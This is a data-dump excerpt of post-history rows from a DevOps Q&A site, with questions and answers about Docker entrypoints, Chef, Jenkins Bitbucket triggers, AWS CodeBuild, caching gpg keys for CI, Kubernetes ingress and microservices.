  <row Id="12414" PostHistoryTypeId="2" PostId="3957" RevisionGUID="e66ec0cc-e5db-43e7-98b9-47cb3c5c4bdc" CreationDate="2018-04-25T13:50:31.383" UserId="7566" Text="As far as I know, it's a good practice to use containers from Dockerhub instead of making my own ones. Most of those contain `docker-entrypoint.sh` script that is executed on startup. However, sometimes I need to do something on startup in addition to what is already described in `docker-entrypoint.sh`. Namely, I'm setting up a RabbitMQ container, I want to use a bind mount to save configs, but the config directory has to be owned by `rabbitmq` user. I wish I could execute `chown -R rabbitmq /etc/rabbitmq` on startup in addition to `docker-entrypoint.sh`, but I don't know how to do that.&#xD;&#xA;&#xD;&#xA;I understand that I can simply clone the repo with Dockerfile and entrypoint from git, add something to the entrypoint and build docker image manually, but it looks like a crutch. I can also just attach to the container and execute that command manually which also looks like a crutch." ContentLicense="CC BY-SA 3.0" />
  <row Id="12415" PostHistoryTypeId="1" PostId="3957" RevisionGUID="e66ec0cc-e5db-43e7-98b9-47cb3c5c4bdc" CreationDate="2018-04-25T13:50:31.383" UserId="7566" Text="Running additional commands on Docker image startup" ContentLicense="CC BY-SA 3.0" />
  <row Id="12416" PostHistoryTypeId="3" PostId="3957" RevisionGUID="e66ec0cc-e5db-43e7-98b9-47cb3c5c4bdc" CreationDate="2018-04-25T13:50:31.383" UserId="7566" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12417" PostHistoryTypeId="50" PostId="3089" RevisionGUID="7110a05e-4005-47ab-bbe6-83fa877e0bdb" CreationDate="2018-04-25T14:02:16.987" UserId="-1" />
  <row Id="12419" PostHistoryTypeId="2" PostId="3958" RevisionGUID="25c2996c-a81e-4473-8726-05ba5032139f" CreationDate="2018-04-25T15:16:07.077" UserId="5003" Text="I know that using a password in the command line is a bad idea because bash commands can be recorded in history.&#xD;&#xA;&#xD;&#xA;If I run a command in the chef bash resource though, when I look up the history I don't see any entries.&#xD;&#xA;&#xD;&#xA;Does this mean that the Chef bash resource does not record it's history? Is it safe to use a password in the Chef bash resource?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12420" PostHistoryTypeId="1" PostId="3958" RevisionGUID="25c2996c-a81e-4473-8726-05ba5032139f" CreationDate="2018-04-25T15:16:07.077" UserId="5003" Text="Does the Chef bash resource create history entries?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12421" PostHistoryTypeId="3" PostId="3958" RevisionGUID="25c2996c-a81e-4473-8726-05ba5032139f" CreationDate="2018-04-25T15:16:07.077" UserId="5003" Text="&lt;security&gt;&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12422" PostHistoryTypeId="50" PostId="3722" RevisionGUID="cbafb9f9-3da0-4af7-b6df-e453fbd93dc2" CreationDate="2018-04-25T16:02:35.190" UserId="-1" />
  <row Id="12423" PostHistoryTypeId="50" PostId="1193" RevisionGUID="6955825e-f7be-4063-952c-0661d81c06a1" CreationDate="2018-04-25T17:02:38.220" UserId="-1" />
  <row Id="12424" PostHistoryTypeId="2" PostId="3959" RevisionGUID="0e63b90b-711d-4dcd-a6d4-9aadf4592cfc" CreationDate="2018-04-25T17:13:40.010" UserId="736" Text="I'm missing something obvious here. &#xD;&#xA;&#xD;&#xA;Is there no way to trigger a Jenkins scripted pipeline job via Bitbucket hook? &#xD;&#xA;&#xD;&#xA;There's [a bug out][1] about it but it's been around for years with apparently no fix. Is the only way to make this work really to make an upstream trigger job that kicks off the pipeline? That seems insanely clunky.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://issues.jenkins-ci.org/browse/JENKINS-38447" ContentLicense="CC BY-SA 3.0" />
  <row Id="12425" PostHistoryTypeId="1" PostId="3959" RevisionGUID="0e63b90b-711d-4dcd-a6d4-9aadf4592cfc" CreationDate="2018-04-25T17:13:40.010" UserId="736" Text="Trigger jenkins pipeline job with Bitbucket hook" ContentLicense="CC BY-SA 3.0" />
  <row Id="12426" PostHistoryTypeId="3" PostId="3959" RevisionGUID="0e63b90b-711d-4dcd-a6d4-9aadf4592cfc" CreationDate="2018-04-25T17:13:40.010" UserId="736" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12429" PostHistoryTypeId="2" PostId="3961" RevisionGUID="427ae303-d02f-4dd6-8346-1063100796dc" CreationDate="2018-04-25T17:53:55.600" UserId="7574" Text="My team hosts several completely different projects on a production k8s cluster with a given configuration. We use AWS (and are starting to use Google Cloud). We have a QA cluster as well, that &quot;sort of&quot; mimics the production configuration, and has a few test projects deployed on it as well. I say &quot;sort of&quot; because right now we just have a collection of shell scripts and custom commands that an engineer manually ran to create the clusters. This had a bad consequence when we made a change to the configuration on the QA and production cluster, and it prevented deployment to that cluster until we reverted the change.&#xD;&#xA;&#xD;&#xA;I am looking to implement Infrastructure as Code (IAC) and a corresponding CI/CD pipeline to prevent this. The goal is that a PR will trigger a build that will spin up a cluster by following the IAC steps, deploy some projects on it, run some tests, then spin down the cluster and provide a test report.&#xD;&#xA;&#xD;&#xA;I am investigating Kops, Ansible, Chef, and Puppet as candidates for this task. Right now the shell scripts I mentioned before are mostly kops commands. I have been spending the last few days reading about the other three technologies as well, and I am not quite sure how they might fit into what I need.&#xD;&#xA;&#xD;&#xA;Are there any recommendations for my particular use case? Implement IAC and a CI/CD pipeline that can spin up a new k8s cluster with the proposed changes and then spin it down once tests finish?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12430" PostHistoryTypeId="1" PostId="3961" RevisionGUID="427ae303-d02f-4dd6-8346-1063100796dc" CreationDate="2018-04-25T17:53:55.600" UserId="7574" Text="Tool preferences for rapidly spinning up and spinning down k8s clusters" ContentLicense="CC BY-SA 3.0" />
  <row Id="12431" PostHistoryTypeId="3" PostId="3961" RevisionGUID="427ae303-d02f-4dd6-8346-1063100796dc" CreationDate="2018-04-25T17:53:55.600" UserId="7574" Text="&lt;ansible&gt;&lt;kubernetes&gt;&lt;chef&gt;&lt;testing&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12433" PostHistoryTypeId="2" PostId="3963" RevisionGUID="4f66cf6b-2ece-4148-89c9-f7555f3ad868" CreationDate="2018-04-25T18:01:00.237" UserId="210" Text="One could fix the issue by creating a pull request&#xD;&#xA;&#xD;&#xA;Or one could find another github project that has less or no issues&#xD;&#xA;&#xD;&#xA;Or one could adjust or create an own image" ContentLicense="CC BY-SA 3.0" />
  <row Id="12434" PostHistoryTypeId="50" PostId="1422" RevisionGUID="1775735a-f5d2-45d8-a528-38a57555910f" CreationDate="2018-04-25T18:02:38.190" UserId="-1" />
  <row Id="12435" PostHistoryTypeId="5" PostId="3963" RevisionGUID="dc79fc57-48fc-417d-9b3a-45cd0b670e35" CreationDate="2018-04-25T19:51:19.327" UserId="210" Comment="added 445 characters in body" Text="One could fix the issue by creating a pull request&#xD;&#xA;&#xD;&#xA;Or one could find another github project that has less or no issues&#xD;&#xA;&#xD;&#xA;Or one could adjust or create an own image&#xD;&#xA;&#xD;&#xA;&gt; I wish I could execute chown -R rabbitmq /etc/rabbitmq on startup in&#xD;&#xA;&gt; addition to docker-entrypoint.sh, but I don't know how to do that&#xD;&#xA;&#xD;&#xA;Once the docker container runs (one could verify this by issuing `docker ps`), one could run `docker exec -it container /bin/bash` and run commands. Note: I personally prefer to investigate why the owner and group is not set to rabbitmq instead of fixing it in a running container as it is mutable." ContentLicense="CC BY-SA 3.0" />
  <row Id="12437" PostHistoryTypeId="2" PostId="3964" RevisionGUID="ac841105-4142-462d-ae22-0fb55afe2ca0" CreationDate="2018-04-25T22:44:12.823" UserId="4175" Text="Simply write a `Dockerfile` which uses that image as a base. Then you can replace individual files (like the entrypoint) easily.&#xD;&#xA;&#xD;&#xA;Also, instead of replacing, you could rename the original entry script, create your own, which does whatever it needs to do, and then just calls the original.&#xD;&#xA;&#xD;&#xA;Somewhat like this:&#xD;&#xA;&#xD;&#xA;* Dockerfile:&#xD;&#xA;&#xD;&#xA;        FROM fancy-base-image:1.2.3&#xD;&#xA;        RUN mv docker-entrypoint.sh docker-entrypoint-original.sh&#xD;&#xA;        ADD docker-entrypoint.sh&#xD;&#xA;&#xD;&#xA;* docker-entrypoint.sh:&#xD;&#xA;&#xD;&#xA;        #!/bin/bash&#xD;&#xA;        echo Do something.&#xD;&#xA;        ./docker-entrypoint-original.sh&#xD;&#xA;        echo Do something else&#xD;&#xA;&#xD;&#xA;Obviously this is just a fake example, you'll have to adjust for directory and file names and such." ContentLicense="CC BY-SA 3.0" />
  <row Id="12438" PostHistoryTypeId="2" PostId="3965" RevisionGUID="3bce9d47-a14b-4e73-9a0d-d0490b05af0c" CreationDate="2018-04-25T22:46:06.603" UserDisplayName="user5063" Text="I'm trying to set up a basic CI/CD pipeline for an Android project using AWS CodePipeline. &#xD;&#xA;&#xD;&#xA;I have 3 steps in the pipeline:&#xD;&#xA;&#xD;&#xA; - Source:&#xD;&#xA;  - Pull project from GitHub repo&#xD;&#xA; - Build:&#xD;&#xA;  - Build the android app using a docker image (futurenda/android-sdk)&#xD;&#xA; - Test:&#xD;&#xA;  - Run instrumentation tests (espresso tests)&#xD;&#xA;&#xD;&#xA;Currently the Source and Build steps work fine (both are successful). From my understanding of running tests in CodePipeline, you can use CodeBuild and simply invoke the tests as you normally would from the command line. In this case, to invoke Espresso tests I can run `sh gradlew connectedAndroidTest` on my local machine.&#xD;&#xA;&#xD;&#xA;I've set the pipeline up with the Build and Test steps being 2 seperate CodeBuild projects, each with their own `buildspec.yml` file. For the Build step (which is working), the file is named `buildspec-build.yml`, and is found by CodeBuild without issue. However, for the Test step (not working) my `buildspec.yml` file is not found. They are both located in the root of my project (and confirmed to be pushed to my remote GitHub repo).&#xD;&#xA;&#xD;&#xA;The error I receive is: `stat /codebuild/output/src712781592/src/buildspec.yml: no such file or directory`. This happens during the `DOWNLOAD_SOURCE` step in the CodeBuild project. I've checked to CodeBuild project to ensure it is indeed expecting a file named `buildspec.yml`.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;Here are both of my buildspec.yml files, if it matters:&#xD;&#xA;    &#xD;&#xA;buildspec-test.yml (found by CodeBuild):&#xD;&#xA;&#xD;&#xA;    version: 0.2&#xD;&#xA;    phases:&#xD;&#xA;        build:&#xD;&#xA;            commands:&#xD;&#xA;              - $ANDROID_HOME/tools/bin/sdkmanager &quot;build-tools;27.0.3&quot; &quot;platforms;android-27&quot;&#xD;&#xA;              - sh gradlew assembleDebug&#xD;&#xA;        artifacts:&#xD;&#xA;             files:&#xD;&#xA;                 - app/build/outputs/apk/debug/app-debug.apk&#xD;&#xA;                 #some other stuff here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;tester-buildspec.yml (not found by codebuild):&#xD;&#xA;&#xD;&#xA;    version: 0.2&#xD;&#xA;    phases:&#xD;&#xA;      build:&#xD;&#xA;        commands:&#xD;&#xA;          - sh gradlew connectedAndroidTest&#xD;&#xA;    artifacts:&#xD;&#xA;      files:&#xD;&#xA;        #other stuff that doesn't really matter here&#xD;&#xA;&#xD;&#xA;Just to recap: I have a pipeline set up with 2 CodeBuild projects as steps within the pipeline. The first CodeBuild project finds the `buildspec.yml` file, but the second one doesn't. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12439" PostHistoryTypeId="1" PostId="3965" RevisionGUID="3bce9d47-a14b-4e73-9a0d-d0490b05af0c" CreationDate="2018-04-25T22:46:06.603" UserDisplayName="user5063" Text="Configuration of AWS CodePipeline for Android CI/CD" ContentLicense="CC BY-SA 3.0" />
  <row Id="12440" PostHistoryTypeId="3" PostId="3965" RevisionGUID="3bce9d47-a14b-4e73-9a0d-d0490b05af0c" CreationDate="2018-04-25T22:46:06.603" UserDisplayName="user5063" Text="&lt;amazon-web-services&gt;&lt;continuous-integration&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12441" PostHistoryTypeId="5" PostId="3965" RevisionGUID="b451c685-02d0-4260-803e-dccf9492d4f3" CreationDate="2018-04-26T04:40:00.340" UserId="6375" Comment="Format content" Text="I'm trying to set up a basic CI/CD pipeline for an Android project using AWS CodePipeline and I have 3 steps in the pipeline as follows:&#xD;&#xA;&#xD;&#xA; 1. ***Source:*** Pull project from GitHub repo&#xD;&#xA; 2. ***Build:*** Build the android app using a docker image (futurenda/ android-sdk)&#xD;&#xA; 3. ***Test:*** Run instrumentation tests (espresso tests)&#xD;&#xA;&#xD;&#xA;Currently the Source and Build steps work fine (both are successful). From my understanding of running tests in CodePipeline, you can use CodeBuild and simply invoke the tests as you normally would from the command line. In this case, to invoke Espresso tests I can run `sh gradlew connectedAndroidTest` on my local machine.&#xD;&#xA;&#xD;&#xA;I've set the pipeline up with the Build and Test steps being 2 seperate CodeBuild projects, each with their own `buildspec.yml` file. For the Build step (which is working), the file is named `buildspec-build.yml`, and is found by CodeBuild without issue. However, for the Test step (not working) my `buildspec.yml` file is not found. They are both located in the root of my project (and confirmed to be pushed to my remote GitHub repo).&#xD;&#xA;&#xD;&#xA;The error I receive is: `stat /codebuild/output/src712781592/src/buildspec.yml: no such file or directory`. This happens during the `DOWNLOAD_SOURCE` step in the CodeBuild project. I've checked to CodeBuild project to ensure it is indeed expecting a file named `buildspec.yml`.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;Here are both of my buildspec.yml files, if it matters:&#xD;&#xA;    &#xD;&#xA;buildspec-test.yml (found by CodeBuild):&#xD;&#xA;&#xD;&#xA;    version: 0.2&#xD;&#xA;    phases:&#xD;&#xA;        build:&#xD;&#xA;            commands:&#xD;&#xA;              - $ANDROID_HOME/tools/bin/sdkmanager &quot;build-tools;27.0.3&quot; &quot;platforms;android-27&quot;&#xD;&#xA;              - sh gradlew assembleDebug&#xD;&#xA;        artifacts:&#xD;&#xA;             files:&#xD;&#xA;                 - app/build/outputs/apk/debug/app-debug.apk&#xD;&#xA;                 #some other stuff here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;tester-buildspec.yml (not found by codebuild):&#xD;&#xA;&#xD;&#xA;    version: 0.2&#xD;&#xA;    phases:&#xD;&#xA;      build:&#xD;&#xA;        commands:&#xD;&#xA;          - sh gradlew connectedAndroidTest&#xD;&#xA;    artifacts:&#xD;&#xA;      files:&#xD;&#xA;        #other stuff that doesn't really matter here&#xD;&#xA;&#xD;&#xA;Just to recap: I have a pipeline set up with 2 CodeBuild projects as steps within the pipeline. The first CodeBuild project finds the `buildspec.yml` file, but the second one doesn't. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12442" PostHistoryTypeId="24" PostId="3965" RevisionGUID="b451c685-02d0-4260-803e-dccf9492d4f3" CreationDate="2018-04-26T04:40:00.340" Comment="Proposed by 6375 approved by 40, 5063 edit id of 684" ContentLicense="CC BY-SA 3.0" />
  <row Id="12443" PostHistoryTypeId="50" PostId="3081" RevisionGUID="b0cbe7fe-3905-47f4-ac9f-9c67c8bd6dcb" CreationDate="2018-04-26T05:03:19.277" UserId="-1" />
  <row Id="12444" PostHistoryTypeId="50" PostId="1517" RevisionGUID="a5faa718-3e2e-4cf5-8ce5-9f09d57eac1a" CreationDate="2018-04-26T07:03:20.960" UserId="-1" />
  <row Id="12445" PostHistoryTypeId="2" PostId="3966" RevisionGUID="de8fdf81-70f7-4a36-b4e4-89f7a1229b99" CreationDate="2018-04-26T12:48:03.930" UserId="2708" Text="If you want to verify a signature of a downloaded file with gpg, you first have to import the key. Unfortunately, this operation is extremely slow and flaky in practice.&#xD;&#xA;&#xD;&#xA;For example, here I tried it out:&#xD;&#xA;&#xD;&#xA;    $ gpg --keyserver pgpkeys.mit.edu --recv-key A0E98066&#xD;&#xA;    gpg: keyserver receive failed: No data&#xD;&#xA;&#xD;&#xA;    $ gpg --keyserver pgpkeys.mit.edu --recv-key A0E98066&#xD;&#xA;    gpg: key B550E09EA0E98066: public key &quot;Yichun Zhang (agentzh) &lt;agentzh@gmail.com&gt;&quot; imported&#xD;&#xA;    gpg: marginals needed: 3  completes needed: 1  trust model: pgp&#xD;&#xA;    gpg: depth: 0  valid:  14  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 14u&#xD;&#xA;    gpg: next trustdb check due at 2019-01-13&#xD;&#xA;    gpg: Total number processed: 1&#xD;&#xA;    gpg:               imported: 1&#xD;&#xA;&#xD;&#xA;The first run failed. When I repeated, it took very long but eventually succeeded. Especially, in a CI environment, it breaks a lot, that is why I am looking for alternatives.&#xD;&#xA;&#xD;&#xA;Question:&#xD;&#xA;&#xD;&#xA;* How do you avoid the dependence to the remote keyserver?&#xD;&#xA;* Is there an easy way to export the key as a file and use it later to import it in the CI environment without making a request to the keyserver?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12446" PostHistoryTypeId="1" PostId="3966" RevisionGUID="de8fdf81-70f7-4a36-b4e4-89f7a1229b99" CreationDate="2018-04-26T12:48:03.930" UserId="2708" Text="How to avoid the flakyness that comes with &quot;gpg --recv-key&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12447" PostHistoryTypeId="3" PostId="3966" RevisionGUID="de8fdf81-70f7-4a36-b4e4-89f7a1229b99" CreationDate="2018-04-26T12:48:03.930" UserId="2708" Text="&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12448" PostHistoryTypeId="2" PostId="3967" RevisionGUID="548baf12-c495-42bf-a7a9-5d08b0a1f80f" CreationDate="2018-04-26T12:48:03.930" UserId="2708" Text="Download the key once:&#xD;&#xA;&#xD;&#xA;    gpg --keyserver pgpkeys.mit.edu --recv-key A0E98066&#xD;&#xA;    gpg --export A0E98066 &gt; openresty-agentzh-A0E98066.pgp&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then later you can import the key without having to access the keyserver:&#xD;&#xA;&#xD;&#xA;    gpg --import openresty-agentzh-A0E98066.pgp" ContentLicense="CC BY-SA 3.0" />
  <row Id="12449" PostHistoryTypeId="5" PostId="3967" RevisionGUID="01759cec-30b7-447c-8d70-208715636df9" CreationDate="2018-04-26T13:00:19.223" UserId="2708" Comment="edited body" Text="Download the key once:&#xD;&#xA;&#xD;&#xA;    gpg --keyserver pgpkeys.mit.edu --recv-key A0E98066&#xD;&#xA;    gpg --export A0E98066 &gt; openresty-agentzh-A0E98066.gpg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then later you can import the key without having to access the keyserver:&#xD;&#xA;&#xD;&#xA;    gpg --import openresty-agentzh-A0E98066.gpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="12450" PostHistoryTypeId="50" PostId="3199" RevisionGUID="4ff90d14-6a0b-4896-9afa-f63260c7640c" CreationDate="2018-04-26T15:03:22.203" UserId="-1" />
  <row Id="12451" PostHistoryTypeId="2" PostId="3968" RevisionGUID="d135730e-d922-4a4e-8417-8e581719e952" CreationDate="2018-04-26T16:33:31.117" UserId="2845" Text="Another option, if you trust your repo or package source is to disable gpg key checking. This is especially viable if you are connecting to a repo over SSL as you can verify you are pulling the correct source and there has been no MITM attack, though you lose verification of the integrity of each individual package (in the case the repo was hacked and a rogue package inserted or package is tampered with). To do this set in your repo file:&#xD;&#xA;&#xD;&#xA;gpgcheck=0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12452" PostHistoryTypeId="50" PostId="3730" RevisionGUID="9b21b4d0-6714-43de-81d9-eb5ace2c2117" CreationDate="2018-04-26T17:03:22.400" UserId="-1" />
  <row Id="12453" PostHistoryTypeId="2" PostId="3969" RevisionGUID="3199454c-7263-4346-ba0a-1e6b2234a65a" CreationDate="2018-04-26T17:26:47.503" UserId="4115" Text="If you just need generic post-receive hooks, you can just do a regular web hook and hit the build API endpoint.  For instance, if the name of your Jenkins server is `jenkins.example.com` and the name of the Pipeline job to trigger is `my_awesome_job`, then you can fire off a POST request to `https://jenkins.example.com/job/my_awesome_job/build`.  Depending on your security model, this request may or may not need to be authenticated and authorized.  If you do need authentication and authorization, you can use HTTP Basic auth (unfortunately I haven't found a reasonable way to do keypair auth).&#xD;&#xA;&#xD;&#xA;If you need to trigger builds on pull requests, then you'll need a plugin. I've been using the [pull-request-notifier plugin for Bitbucket](https://marketplace.atlassian.com/plugins/se.bjurr.prnfs.pull-request-notifier-for-stash/server/overview) to trigger builds from Bitbucket and it's worked pretty well.  It works especially well in combination with the [Bitbucket Branch Source plugin for Jenkins](https://plugins.jenkins.io/cloudbees-bitbucket-branch-source), which automatically creates Jenkins jobs for every branch and open PR of every single repository in a Bitbucket project.  The combination of these two plugins allows me to automatically trigger builds as soon as a PR is opened and prevent merging the PR until the build passes (this is a pretty common workflow so I figure it's worth mentioning even if you didn't explicitly ask about it)." ContentLicense="CC BY-SA 3.0" />
  <row Id="12455" PostHistoryTypeId="5" PostId="3902" RevisionGUID="2beb7010-909c-49ee-8dbb-ea01dc2ec27c" CreationDate="2018-04-26T19:11:25.470" UserId="4328" Comment="added 10 characters in body" Text="I have a base docker image which is used to run image analysis software. For each container created from the image, there are a set of configuration settings some of which are secrets (encryption keys, customer information, etc.) that are used by the software to analyze and distribute the processed images. How can I safely pass these secrets to a container? " ContentLicense="CC BY-SA 3.0" />
  <row Id="12456" PostHistoryTypeId="6" PostId="3953" RevisionGUID="344c330a-8616-4402-8794-e62cebcc420e" CreationDate="2018-04-26T19:38:36.793" UserId="210" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;load-balance&gt;&lt;architecture&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12457" PostHistoryTypeId="6" PostId="3953" RevisionGUID="3df90db8-3d9a-4b96-90f0-2baeb72a410f" CreationDate="2018-04-26T19:58:11.107" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;microservices&gt;&lt;architecture&gt;&lt;nginx&gt;&lt;ingress&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12458" PostHistoryTypeId="2" PostId="3970" RevisionGUID="65da0568-a46b-4961-89bc-49b14a49356d" CreationDate="2018-04-26T19:58:51.257" UserId="210" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="12459" PostHistoryTypeId="1" PostId="3970" RevisionGUID="65da0568-a46b-4961-89bc-49b14a49356d" CreationDate="2018-04-26T19:58:51.257" UserId="210" ContentLicense="CC BY-SA 3.0" />
  <row Id="12460" PostHistoryTypeId="2" PostId="3971" RevisionGUID="ccdb56e0-8de7-4e25-9e97-9c24904b925f" CreationDate="2018-04-26T19:58:51.257" UserId="210" Text="If a question is about the load balancer in kubernetes then this tag could be used." ContentLicense="CC BY-SA 3.0" />
  <row Id="12461" PostHistoryTypeId="1" PostId="3971" RevisionGUID="ccdb56e0-8de7-4e25-9e97-9c24904b925f" CreationDate="2018-04-26T19:58:51.257" UserId="210" ContentLicense="CC BY-SA 3.0" />
  <row Id="12462" PostHistoryTypeId="50" PostId="3200" RevisionGUID="70f730db-4626-4b8a-af66-979ac4771ef1" CreationDate="2018-04-26T20:03:29.233" UserId="-1" />
  <row Id="12463" PostHistoryTypeId="5" PostId="3531" RevisionGUID="ed1fba49-b416-490a-83d4-e8758a450b36" CreationDate="2018-04-26T20:08:30.730" UserId="210" Comment="added 883 characters in body" Text="The last couple of years I am/was part of couple of DevOps teams that are/were creating microservices. Some of the projects failed miserably.&#xD;&#xA;&#xD;&#xA;Reasons:&#xD;&#xA;&#xD;&#xA; - stubborn, inexperienced, irrational architect that only read a blog about microservices and claims that he is the expert of microservices&#xD;&#xA; - team members that lack knowledge, but indicate that they know everything about it as the architect told them about it&#xD;&#xA; - lack of DevOps mindset&#xD;&#xA; - no support from management&#xD;&#xA; - thinking that microservices are the holy grail, i.e. Y=&gt;X instead of X=&gt;Y&#xD;&#xA;&#xD;&#xA;According to me, a DevOps mindset is that one works together and that one focuses on deliverables, i.e. new software live within two weeks. If one wants to create all microservices in advance then a lot of assumptions have to be done and nothing will be put to production, i.e. available to the customer.&#xD;&#xA;&#xD;&#xA;This happened in one of my projects. The architects was continuously talking about &quot;what if this would happen and this&quot; and so on. Outcome? After one year, nothing was running in production.&#xD;&#xA;&#xD;&#xA;In my opinion, some companies start with microservices because they have heard about it, but do not know exactly what microservices are. Microservices are not the holy grail, e.g. one could create nanoservices, one should master automation.&#xD;&#xA;&#xD;&#xA;My point of view about microservices is that one should start with a monolith first, e.g. if you want a webshop just start with it and ensures that it is running in production within two weeks. Secondly, start monitoring it, check if there are problems in certain areas, e.g. more bugs in component X or component Y is extremely slow. If it is clear that component Y is slow, create a plan of extracting it, rewrite it within two weeks, apply autoscaling. &#xD;&#xA;&#xD;&#xA;I am in favor of the &quot;cheese slicer method&quot;. As the cheese itself is a product that delivers value and is running in production and the X=&gt;Y approach is used. Start with a problem and check what could solve this problem, instead of thinking about a solution, e.g. microservices (Y) that could solve a (hypothetical) problem.&#xD;&#xA;&#xD;&#xA;For your information. I am currently busy with a personal microservices project that consists of two microservices, e.g. an api and a write microservice. I am first solving the impediments and cleaning up my backlog. Off course I have some ideas about next microservices, but I want to put first things first and add value to the customers instead of doing a lot without finishing this microservice project that I have already experienced a couple of times.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Note: once the current backlog is complete, an additional paragraph about&#xD;&#xA;&#xD;&#xA;&gt; If Microservices terminology i.e. distinguishing between `core` and&#xD;&#xA;&gt; `other service instances`&#xD;&#xA;&#xD;&#xA;will follow.&#xD;&#xA;&#xD;&#xA;April 26 2018&#xD;&#xA;&#xD;&#xA;At the moment I have a monorepo that consists of 5 microservices, i.e. an API, writer, selector, insert and tableCreator. On one hand it is nice as the shared code could be used directly, but when a code change is pushed then I need to build everything.&#xD;&#xA;&#xD;&#xA;The next steps is to create five repos and extract the code from the monorepo to each individual repo. Advantages of this is that a code change to a repo builds the microservice that has been changed, smaller code base (easier to read).&#xD;&#xA;&#xD;&#xA;The common code will be moved to separate repos as well and published as artifacts so they could be used by the microservices.&#xD;&#xA;&#xD;&#xA;One of the prerequisites is that CI and CD are enabled for each repo. Otherwise it will take a lot of time before everything has been deployed. &#xD;&#xA;&#xD;&#xA;Microservices are not the holy grail&#xD;&#xA;&#xD;&#xA;Automation is key&#xD;&#xA;&#xD;&#xA;&quot;Do one thing and do it well&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="12465" PostHistoryTypeId="4" PostId="3953" RevisionGUID="6dbeb542-90b3-4987-b701-e011254f0d3a" CreationDate="2018-04-26T20:21:35.430" UserId="210" Comment="edited title" Text="How to add rules to Kubernetes NGINX Ingress controller from different yml definitions?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12466" PostHistoryTypeId="2" PostId="3973" RevisionGUID="d2322c9d-9ec0-4123-860e-e0c225389801" CreationDate="2018-04-26T20:22:46.767" UserId="210" Text="&gt; Could I have these two different definitions which creates a single&#xD;&#xA;&gt; Ingress with two rules (based on having the same name)?&#xD;&#xA;&#xD;&#xA;Lets investigate whether that would be possible.&#xD;&#xA;&#xD;&#xA;---answer will follow---" ContentLicense="CC BY-SA 3.0" />
  <row Id="12467" PostHistoryTypeId="5" PostId="3973" RevisionGUID="8fc910ef-162a-4469-911d-14349cade76e" CreationDate="2018-04-26T20:36:52.340" UserId="210" Comment="added 700 characters in body" Text="&gt; Could I have these two different definitions which creates a single&#xD;&#xA;&gt; Ingress with two rules (based on having the same name)?&#xD;&#xA;&#xD;&#xA;Lets investigate whether that would be possible.&#xD;&#xA;&#xD;&#xA;According to&#xD;&#xA;&#xD;&#xA;https://kubernetes.io/docs/concepts/services-networking/ingress/&#xD;&#xA;&#xD;&#xA;one could update an existing ingress yaml and subsequently run `kubectl replace -f`. From a microservice perspective, one could store a snippet in every git repo, e.g.:&#xD;&#xA;&#xD;&#xA;    - host: microservice01.domain.com&#xD;&#xA;      http:&#xD;&#xA;        paths:&#xD;&#xA;        - backend:&#xD;&#xA;            serviceName: ms01&#xD;&#xA;            servicePort: 80&#xD;&#xA;          path: /microservice01&#xD;&#xA;&#xD;&#xA;and deploy it manually or automatically using ssh and merge it with another ingress file that has already been deployed&#xD;&#xA;&#xD;&#xA;    spec:&#xD;&#xA;      rules:&#xD;&#xA;      &lt;concatenate snippet1&gt;&#xD;&#xA;      &lt;concatenate snippet2&gt;&#xD;&#xA;      and so on and so on&#xD;&#xA;&#xD;&#xA;and run `kubectl replace -f` once the snippet of a microservice has been deployed." ContentLicense="CC BY-SA 3.0" />
  <row Id="12468" PostHistoryTypeId="2" PostId="3974" RevisionGUID="1d24ec0c-e392-48ac-8e63-89fc905ccaed" CreationDate="2018-04-26T21:00:06.007" UserId="210" Text="Googling returns only this Q&amp;A:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;It looks like that it is not a reported issue. Also combined with your remark, i.e.:&#xD;&#xA;&#xD;&#xA;&gt; It always completes successfully, even with the delay.&#xD;&#xA;&#xD;&#xA;I wonder whether it is really an issue as I have seen a lot of logs and also weird messages while everything worked. What I do in such situation is talk with the developer of the code. In this case I would create an issue in the Jenkins bug tracker and discuss whether this is an issue and whether the developers should change the code that triggers this message.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/g2a2d.png" ContentLicense="CC BY-SA 3.0" />
